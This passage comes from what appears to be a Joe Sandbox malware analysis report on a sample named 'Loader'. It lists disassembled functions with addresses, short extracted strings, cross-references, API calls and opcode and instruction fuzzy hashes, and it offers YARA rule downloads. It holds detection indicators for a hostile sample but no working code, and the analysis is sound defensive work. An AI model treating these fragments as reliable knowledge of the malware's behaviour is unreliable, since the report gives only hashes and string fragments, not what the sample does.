Opcode Fuzzy Hash: 36fd720ed8d6823c32771bfe1625822d316a9a8a9853b2f702ca3dab545584eb
Instruction Fuzzy Hash: BF5168A4A093A18BD3188F2994A0337FFE09FE3305F58956EF4D68B381D67D8804C756

Function 0042D49A Relevance: 4.0, Strings: 3, Instructions: 218COMMON

Download Yara Rule

Strings

F]EH, xrefs: 0042D67F
[:, xrefs: 0042D762
Uo#_, xrefs: 0042D752

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: F]EH$Uo#_$[:
API String ID: 0-1241761701
Opcode ID: 4ffe94aedec0ee075d16d5ca1e3e2f6a888b7093a5e75b5c49b8c05ae89e53b4
Instruction ID: 0de7b66c928a3350a22ba3e9d9bb6f9889ec970dbe198820fd9a8fcea16b9496
Opcode Fuzzy Hash: 4ffe94aedec0ee075d16d5ca1e3e2f6a888b7093a5e75b5c49b8c05ae89e53b4
Instruction Fuzzy Hash: 785179B4A093A18BD3098B2994A033BFFE09FD3305F58955EF4D68B381D67D8804C756

Function 0042D64C Relevance: 4.0, Strings: 3, Instructions: 217COMMON

Download Yara Rule

Strings

F]EH, xrefs: 0042D67F
[:, xrefs: 0042D762
Uo#_, xrefs: 0042D752

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: F]EH$Uo#_$[:
API String ID: 0-1241761701
Opcode ID: 75d27e60beb243e9c3408e842da1e13c30d6f828246f723bff5a19cc79804c01
Instruction ID: 61dd48889cf855c270f3eeb86a6ea88740ffcb6d6eea17eed08dc00024456671
Opcode Fuzzy Hash: 75d27e60beb243e9c3408e842da1e13c30d6f828246f723bff5a19cc79804c01
Instruction Fuzzy Hash: 355166B0A093A18BD3088B2894A033BFFE09FD3305F58956EE4D68B381D67D8804C756

Function 0042BBE3 Relevance: 3.9, Strings: 3, Instructions: 198COMMON

Download Yara Rule

Strings

g, xrefs: 0042BCC4
0' :, xrefs: 0042BCB9
(, xrefs: 0042BD9A

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: ($0' :$g
API String ID: 0-2894493355
Opcode ID: 127e783f08fa03dc1526e31b0ee453c704f7bbf9130a5869e8a9e0373e6e0c28
Instruction ID: 82fddf1245ea9785951fab6b19b0e18f29a6b2d5cfba79b1b40d0bceeec468ca
Opcode Fuzzy Hash: 127e783f08fa03dc1526e31b0ee453c704f7bbf9130a5869e8a9e0373e6e0c28
Instruction Fuzzy Hash: F651F26531D3D24BDB298F3598653FBBBE2DB93304F5C496DC0CA87282DB3984068796

Function 0042BC53 Relevance: 3.9, Strings: 3, Instructions: 177COMMON

Download Yara Rule

Strings

g, xrefs: 0042BCC4
0' :, xrefs: 0042BCB9
(, xrefs: 0042BD9A

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: ($0' :$g
API String ID: 0-2894493355
Opcode ID: 60e313afede76628c7910cabc6e2c24f69d92bdb4d83de5ca37a98b6c8095f76
Instruction ID: ab1398b02a8a7281b2a45260371c8ad29eb33f1a8b52771f88fa1d3f98cb6ccb
Opcode Fuzzy Hash: 60e313afede76628c7910cabc6e2c24f69d92bdb4d83de5ca37a98b6c8095f76
Instruction Fuzzy Hash: 7341D37061C3D28ADB394F3494293FBBBE1DB93304F5849ADC0C987282DB394106879A

Function 0042BB19 Relevance: 3.9, Strings: 3, Instructions: 137COMMON

Download Yara Rule

Strings

g, xrefs: 0042BCC4
0' :, xrefs: 0042BCB9
(, xrefs: 0042BD9A

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: ($0' :$g
API String ID: 0-2894493355
Opcode ID: b96d02e88c0a58c109baa3d55930f9ba5c7ef7b50bcf42591470675d5c739625
Instruction ID: be085471faecc0e2517363bcce5a64cf4fe5eb468f05be4f0a344c56f6f7ae45
Opcode Fuzzy Hash: b96d02e88c0a58c109baa3d55930f9ba5c7ef7b50bcf42591470675d5c739625
Instruction Fuzzy Hash: 9031F46021C3D28ADB394F3494593FBBBE1DB93304F98496EC0C987292CB394106CB5A

Function 00427917 Relevance: 3.8, Strings: 3, Instructions: 30COMMON

Download Yara Rule

Strings

X, xrefs: 00427953
KNCI, xrefs: 00427943
AL7, xrefs: 0042793B

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: AL7$KNCI$X
API String ID: 0-2162001628
Opcode ID: 2d3aa0b5dc2908d3afa6b89691fa5862a8d4e30f209e389472789df3b9353774
Instruction ID: c1efb55ec262374922805156c2cb0b218ab5fdccaf3554e53de449f270c0e8b1
Opcode Fuzzy Hash: 2d3aa0b5dc2908d3afa6b89691fa5862a8d4e30f209e389472789df3b9353774
Instruction Fuzzy Hash: 27F0A9B011D3909BE350AF69969065FFBF8EF96320F502A2CFAD49B242C334C0018F46

Function 0042788F Relevance: 3.7, APIs: 2, Instructions: 692COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 00427B68
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 00427C72

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 5a29734b277b2e9b8358fa5ecbf45429ecc3aeb30d586a3974802221ebf8515b
Instruction ID: 247fa94026213c22a70afdfae02ba9db67c982c8a71b05e85d253056af3d2863
Opcode Fuzzy Hash: 5a29734b277b2e9b8358fa5ecbf45429ecc3aeb30d586a3974802221ebf8515b
Instruction Fuzzy Hash: FE324376A0C350CFD3108F29E88072EB7E1EF86314F19867DE99597391DB74E9018B8A

Function 00427A3F Relevance: 3.7, APIs: 2, Instructions: 668COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 00427B68
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 00427C72

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 5f34821947dbddbcf30ce221ada36af6612115f31c02cf9bf287c06683c0a9f8
Instruction ID: 345d3084dec7a3450128b1aec3c018c2bdda3eb4c1cf0a9ab4d6be0b7558935f
Opcode Fuzzy Hash: 5f34821947dbddbcf30ce221ada36af6612115f31c02cf9bf287c06683c0a9f8
Instruction Fuzzy Hash: 3B324476A0C350CFD3248F29E88071EB7E1EF86314F19867DE99597391DB34E9018B8A

Function 004146A0 Relevance: 3.5, Strings: 2, Instructions: 1049COMMON

Download Yara Rule

Strings

D]+\, xrefs: 00414D50
C=, xrefs: 004148BE

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: C=$D]+\
API String ID: 0-9813778
Opcode ID: b6a84abd2839b95c80c6a07005a96518be76de580fe6589eb625db292694bc81
Instruction ID: cd0c9bfdefc84b350a232778b7e2c0df60d2e4748fd71e5e92d8149e0538340d
Opcode Fuzzy Hash: b6a84abd2839b95c80c6a07005a96518be76de580fe6589eb625db292694bc81
Instruction Fuzzy Hash: 7F5223746093009BD7149F24EC81BABB7A1FFCA314F14492DE581973A1E738E946CB9A

Function 0041C900 Relevance: 3.1, Strings: 2, Instructions: 645COMMON

Download Yara Rule

Strings

3;P, xrefs: 0041CA28
!;P, xrefs: 0041C9DB

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: !;P$3;P
API String ID: 0-2962031992
Opcode ID: d5e4f07c2787d845fb65e5a98866e9f50cd63d594b10ba433d030bc227476e3b
Instruction ID: 40303969f341cab0190b7ffaf639a3eee83e9144fdcd8cc0720d9d15948ab37b
Opcode Fuzzy Hash: d5e4f07c2787d845fb65e5a98866e9f50cd63d594b10ba433d030bc227476e3b
Instruction Fuzzy Hash: 211275B2A50616CFCB048F68CC812EBBBB2FF55314F19856DD445AB391D338A892CBC4

Function 004227E0 Relevance: 2.9, Strings: 2, Instructions: 428COMMON

Download Yara Rule

Strings

10, xrefs: 00422874
.8, xrefs: 00422802

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: .8$10
API String ID: 0-814249144
Opcode ID: 32d5e060f1d652f2465254695c79ef22fd30b916abb47e7b2ed794c844420618
Instruction ID: 6ecdc93fcc257772eba09db5fa8149ff251927af64ff6b659e51a55be0f97946
Opcode Fuzzy Hash: 32d5e060f1d652f2465254695c79ef22fd30b916abb47e7b2ed794c844420618
Instruction Fuzzy Hash: 23C15B717083209BD724DF28D95163BF3E1EF91324F49892EE89697391E7B8E801C35A

Function 0041966B Relevance: 2.8, Strings: 2, Instructions: 250COMMON

Download Yara Rule

Strings

54+*, xrefs: 004195C5
L4, xrefs: 00419600

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 54+*$L4
API String ID: 0-1428210418
Opcode ID: b8bc600fa4d70428250f3d62d1b0c4869235ddbcb5ebdaa6d2aff065ca03eef8
Instruction ID: b6df84392dfbbf32e231f27527d6559e31459186b39928bbcdb8bfc668edbfbe
Opcode Fuzzy Hash: b8bc600fa4d70428250f3d62d1b0c4869235ddbcb5ebdaa6d2aff065ca03eef8
Instruction Fuzzy Hash: 6691D1B56083419FD714CF29D8A1BABB7E2BFD5304F14492DE48A83251D738EC46CB5A

Function 00416C77 Relevance: 2.7, Strings: 2, Instructions: 189COMMON

Download Yara Rule

Strings

54+*, xrefs: 00416A75
MnA, xrefs: 00416A4D, 00416CBD

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 54+*$MnA
API String ID: 0-3213807796
Opcode ID: f66647ee9ab0e35559181c8ae5c5de11cfb4496e1a8266f8898e9403b5961e50
Instruction ID: 6e584b5c880dee98a52d54ab6d2185dce934cf6ba25eebf79510f41c98d88442
Opcode Fuzzy Hash: f66647ee9ab0e35559181c8ae5c5de11cfb4496e1a8266f8898e9403b5961e50
Instruction Fuzzy Hash: 0051F67420D3508BD7288B14D9D0BABB7A2EFCA318F25967DD58697291C335E843C78E

Function 0043EE50 Relevance: 2.6, Strings: 2, Instructions: 52COMMON

Download Yara Rule

Strings

yz, xrefs: 0043EE57
'}, xrefs: 0043EE65

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: '}$yz
API String ID: 0-4283282396
Opcode ID: f79d7379e376645b73c42350e5ee51e8a145ed93f69b725fee394d330310c919
Instruction ID: 6c98babec1c2cee739f789cf685c2ea4349774288cd61dce89ebb6089c752d52
Opcode Fuzzy Hash: f79d7379e376645b73c42350e5ee51e8a145ed93f69b725fee394d330310c919
Instruction Fuzzy Hash: A91132759002298FCB00CF54D8D06EE77B2FF41344F151569D851BB2A0CB389946CB99

Function 004402B0 Relevance: 2.0, Strings: 1, Instructions: 703COMMON

Download Yara Rule

Strings

cu16, xrefs: 00440725

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: cu16
API String ID: 0-1393213281
Opcode ID: 9ac8e299f1cf1d63ed86c6bd82d1a592ff0dcb59a841c00e2249b3a717890619
Instruction ID: cc1519bfc60c4b12a942df2b806186209cadf443f4b6312827fcc7d0bb8de627
Opcode Fuzzy Hash: 9ac8e299f1cf1d63ed86c6bd82d1a592ff0dcb59a841c00e2249b3a717890619
Instruction Fuzzy Hash: CB22363A608251DFC704CF28D8A126AF7F2FB8A314F09857ED98987351D734E955CB89

Function 004403D0 Relevance: 1.8, Strings: 1, Instructions: 594COMMON

Download Yara Rule

Strings

cu16, xrefs: 00440725

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: cu16
API String ID: 0-1393213281
Opcode ID: 0068fcea1fcce90b3d7b75575ae24fd46d4f308cccbdaad663dec9647c00860c
Instruction ID: ab146c73076e2240b060154e7353531ea1e8eb1c5403ea302177df520b4c5a47
Opcode Fuzzy Hash: 0068fcea1fcce90b3d7b75575ae24fd46d4f308cccbdaad663dec9647c00860c
Instruction Fuzzy Hash: 8D120339608250DFC708CF28E8A166AF7F2FB8A314F09857EE98987351D734D955CB89

Function 00440550 Relevance: 1.7, Strings: 1, Instructions: 478COMMON

Download Yara Rule

Strings

cu16, xrefs: 00440725

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: cu16
API String ID: 0-1393213281
Opcode ID: a8b42d00aa42b6c5f4fdbec2012c9a4f829a243eac6bcdfeac6ada73ec91b821
Instruction ID: b47343fc74fa199a2dd3296f085def7190a0f10b9a04de121b961ff035c16150
Opcode Fuzzy Hash: a8b42d00aa42b6c5f4fdbec2012c9a4f829a243eac6bcdfeac6ada73ec91b821
Instruction Fuzzy Hash: A6F10136608251DFC704CF28D8A066AF7F2FB8A318F09897EE58987351C735E955CB89

Function 00440690 Relevance: 1.7, Strings: 1, Instructions: 442COMMON

Download Yara Rule

Strings

cu16, xrefs: 00440725

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: cu16
API String ID: 0-1393213281
Opcode ID: 2fdcadc8431d5e275e97618014f6d9204e5a36a54ec6d05914a11fb32c429fef
Instruction ID: a8adab88cd6467e8744eccda8f8671d0fd7897d1ea11a103ef712ebcb60b2b94
Opcode Fuzzy Hash: 2fdcadc8431d5e275e97618014f6d9204e5a36a54ec6d05914a11fb32c429fef
Instruction Fuzzy Hash: 3CE100366082508FD304CF38D89066BFBE2EB8A314F09897EE99987351D735D905CB89

Function 00440600 Relevance: 1.7, Strings: 1, Instructions: 441COMMON

Download Yara Rule

Strings

cu16, xrefs: 00440725

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: cu16
API String ID: 0-1393213281
Opcode ID: 7970cd6754f9a29d7eb6efe6f2f2c38251dbb01199b4c91cf1d898bcd2063352
Instruction ID: a6b8655c2d4fe843f733019638999d7a326d799a2e10267b81ba0de51ceb402d
Opcode Fuzzy Hash: 7970cd6754f9a29d7eb6efe6f2f2c38251dbb01199b4c91cf1d898bcd2063352
Instruction Fuzzy Hash: 41E10136608250DFD704CF28D8A066AFBE2FB8A314F09897EE59987351C735E915CB89

Function 0041C561 Relevance: 1.5, Strings: 1, Instructions: 281COMMON

Download Yara Rule

Strings

-.-2, xrefs: 0041C7E9

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: -.-2
API String ID: 0-2838677626
Opcode ID: 84298f2c1df00ac477d8c9eb7f651bf770509cc0667fa7c23a1cbe41850e76cc
Instruction ID: c65bc0e0fd9ab2b407f4ec274a243cae03b52599eb44c3ec4b920f3608bc9bdb
Opcode Fuzzy Hash: 84298f2c1df00ac477d8c9eb7f651bf770509cc0667fa7c23a1cbe41850e76cc
Instruction Fuzzy Hash: 08912770694B804FE335CF768880763BBE3AB96314F18896DD0D28BB95DB79E446CB14

Function 0042B100 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

", xrefs: 0042B2FE

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction ID: 981523987b1e43f0f2fbc980dbd505f4044b7fe8cc5f065e6a15477f38c1429d
Opcode Fuzzy Hash: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction Fuzzy Hash: 4071C632B083258BD714CE28E49032FB7E2EBC5750FA9856EE89497395D338DD4587CA

Function 0043E9B3 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

v4vE, xrefs: 0043E9C0

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: v4vE
API String ID: 0-866190975
Opcode ID: 7b64acfa24e2befdd8ac35dee43b38dc2d497a1a5a96ae3d147eba01d7514725
Instruction ID: 34cdfc8a34f78da73259cccf7ab61d51709751dea84dcafbc9ea7b9c9e951e0c
Opcode Fuzzy Hash: 7b64acfa24e2befdd8ac35dee43b38dc2d497a1a5a96ae3d147eba01d7514725
Instruction Fuzzy Hash: D631F4B6A183005BF708DF76AC8255BBAF3EBD5304F19C43DD185D7215EA38C1068B4A

Function 00426513 Relevance: 1.3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

Strings

/kB, xrefs: 00426B29

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: /kB
API String ID: 0-3532343839
Opcode ID: b4b5b7e280f642f85b3dfe5987f8b3969132ef151dffa41fcba20c5fda879f96
Instruction ID: 30b78e98d0376e77b4dedd947e5e84c4a76dc6197d8d4778f9e0425fae07882d
Opcode Fuzzy Hash: b4b5b7e280f642f85b3dfe5987f8b3969132ef151dffa41fcba20c5fda879f96
Instruction Fuzzy Hash: EA1159B4E093649FC320AB25A8D017B76A5DF97314F85852FF9C367361EA3C9C02C65A

Function 004074A0 Relevance: .6, Instructions: 611COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfa9a842e54d6f6908c7b800668eb5eb2d5e9b27e34123646e38c57c34ffb93e
Instruction ID: 53bedda06ccc27c303568f9e7e6bd49d427b81707e73c2342d6127383662a74f
Opcode Fuzzy Hash: cfa9a842e54d6f6908c7b800668eb5eb2d5e9b27e34123646e38c57c34ffb93e
Instruction Fuzzy Hash: 4F12B472A087118BC725DF18D8806ABB3E1BFC4315F19893ED9C6A7385D738B8558B87

Function 0041D050 Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba2a651c7b4397c0272f4726fbccc838470ac406de1116525d09835cc8aaf273
Instruction ID: 06ba914754fda528d7acfc96047ccc351decbac5893a7f6043ce80427adf6e18
Opcode Fuzzy Hash: ba2a651c7b4397c0272f4726fbccc838470ac406de1116525d09835cc8aaf273
Instruction Fuzzy Hash: 02C123B5A183118BD728DF28CC526ABB7F1EFD5314F08862DE8958B384E73C9944C795

Function 0043A9D6 Relevance: .5, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb2c410d40d8a7215a23457b42f4989fe7a875ffa95cad037c50274c93334019
Instruction ID: 6ff10e554b56e7d98c0354463b113c8fe134109c80e7cf3690ca443259b71b45
Opcode Fuzzy Hash: fb2c410d40d8a7215a23457b42f4989fe7a875ffa95cad037c50274c93334019
Instruction Fuzzy Hash: 91E1397AA68226CBCB189F24D85116B73F2FF4A751F0BC97DD881472A0E7398960C746

Function 00405930 Relevance: .4, Instructions: 448COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8469296e2ad6377bca0d66c7fdbce60c96d239fa905cce4d846bf08553cb04b8
Instruction ID: 5dc1153c2cae88f14e706d6766014c5310a85aff0076e014daa1ca1314a98a54
Opcode Fuzzy Hash: 8469296e2ad6377bca0d66c7fdbce60c96d239fa905cce4d846bf08553cb04b8
Instruction Fuzzy Hash: 5DF1BD756087418FD724CF29C88076BBBE2EFD9304F08882DE5D597391E639E944CB96

Function 00428307 Relevance: .4, Instructions: 350COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e71ddd8efcb11a8d109418157ab47fde1022d2a01cbd6712a0ad8640d730c20
Instruction ID: a954b38a6bb1ce87cf69874cc4df31a0facd51f51a0102f5d1bcd2fc66b16d63
Opcode Fuzzy Hash: 0e71ddd8efcb11a8d109418157ab47fde1022d2a01cbd6712a0ad8640d730c20
Instruction Fuzzy Hash: CFA1F476B096114FD71CCF2AD81132FB6D3ABD4310F5A853EE88AC7395DE74E8128685

Function 004410D0 Relevance: .3, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1d4ee9170cb315f71c8184b5a82f458173e5dc386eddf8c79e1ec2de4589c0f9
Instruction ID: 48af3df080d7374f24d22ba405b18466128ca7b67be3218363250a1880df35ed
Opcode Fuzzy Hash: 1d4ee9170cb315f71c8184b5a82f458173e5dc386eddf8c79e1ec2de4589c0f9
Instruction Fuzzy Hash: 8D91DF756083019BE718DF18C490A2BB3E2FF89750F15846EEA85DB361EB34DC41DB8A

Function 004409E0 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2081274b20256b51a48b52e86fac1d0e917b6bc8052939e7a96106f21d596131
Instruction ID: 396e9f4d8292420b39720d4ebe7e3b2ba50298b7ad3af056df74e370846adae9
Opcode Fuzzy Hash: 2081274b20256b51a48b52e86fac1d0e917b6bc8052939e7a96106f21d596131
Instruction Fuzzy Hash: 4F71353560C2A59FC7048F39D8512AABBE3EBCA314F49896DE8D887350D739DD11CB89

Function 0041F2C0 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2ef3ed592ffea8117d6535c71c633ebd8baee3f6d97b41eb70e06c6ff45de06
Instruction ID: 7de542bc9115ef73e19b3091658d28cf0780ac80647d3c93e3c636ac7a511b7b
Opcode Fuzzy Hash: e2ef3ed592ffea8117d6535c71c633ebd8baee3f6d97b41eb70e06c6ff45de06
Instruction Fuzzy Hash: 99614A355083914FD7258F29C84096B7BE0ABA6314F4882BEE8E84B392D635DC4AC796

Function 0043A640 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d1fab72e9f5b1cdff51703c3b7269aa68bcba2dda9f3549e373aaeca11e4806
Instruction ID: 66fd862550092496dbaeb2d3bb1543f7b4ae7d39c68e2cc44db9a05b1b136551
Opcode Fuzzy Hash: 6d1fab72e9f5b1cdff51703c3b7269aa68bcba2dda9f3549e373aaeca11e4806
Instruction Fuzzy Hash: 8C3123B5A04300AFE7109E119CC1B3BB7B5EB89758F10182EF9C5A3201D339EC26879B

Function 00408B00 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83a46eb97a1ede892c521cd0a1cf27060ef79bfacc0411b261445066a2a95deb
Instruction ID: 37f3efdb486df1b50b7503efc8676e0e0480c9f1302ca175b3bd99bebac416ea
Opcode Fuzzy Hash: 83a46eb97a1ede892c521cd0a1cf27060ef79bfacc0411b261445066a2a95deb
Instruction Fuzzy Hash: DF4190216493494BEB14CD2889815E77B61DBA2350F08C63EECC55B3C1EA3CDA0AD3A9

Function 0043F7B2 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8bd4d7e9bd20bf13d05e542f28e56da8f4d605b247b1b6829d47043411abe16
Instruction ID: 65860a534bcdc61a69b891c8f4b112b5ccb7c4aa6a6d252a23f247d29c97b397
Opcode Fuzzy Hash: b8bd4d7e9bd20bf13d05e542f28e56da8f4d605b247b1b6829d47043411abe16
Instruction Fuzzy Hash: F8410436F245554BDB0CCF6888A157FBAB2AB8E310F19E13EC556E7354CB3899058788

Function 0040DE13 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

